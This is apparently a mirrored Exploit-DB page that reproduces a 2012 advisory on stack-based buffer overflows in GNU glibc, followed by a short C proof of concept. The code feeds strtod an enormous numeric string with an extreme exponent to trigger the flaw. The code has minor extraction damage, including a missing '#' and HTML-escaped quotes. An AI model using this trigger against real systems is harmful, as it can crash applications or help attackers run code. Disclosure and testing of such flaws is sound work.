GNU glibc – Multiple Local Stack Buffer Overflow Vulnerabilities

• Exploit Database
• 106 阅读

• 作者： Joseph S. Myer
  日期： 2012-08-13
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/37631/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29

  // source: https://www.securityfocus.com/bid/54982/info   GNU glibc is prone to multiple stack-based buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied data.   Local attackers can exploit these issues to run arbitrary code with privileges of the affected application. Failed exploit attempts can result in a denial-of-service condition.   include <stdio.h> #include <stdlib.h> #include <string.h>   #define EXPONENT "e-2147483649" #define SIZE 214748364 int main (void) { char *p = malloc (1 + SIZE + sizeof (EXPONENT)); if (p == NULL) { perror ("malloc"); exit (EXIT_FAILURE); } p[0] = &apos;1&apos;; memset (p + 1, &apos;0&apos;, SIZE); memcpy (p + 1 + SIZE, EXPONENT, sizeof (EXPONENT)); double d = strtod (p, NULL); printf ("%a\n", d); exit (EXIT_SUCCESS); }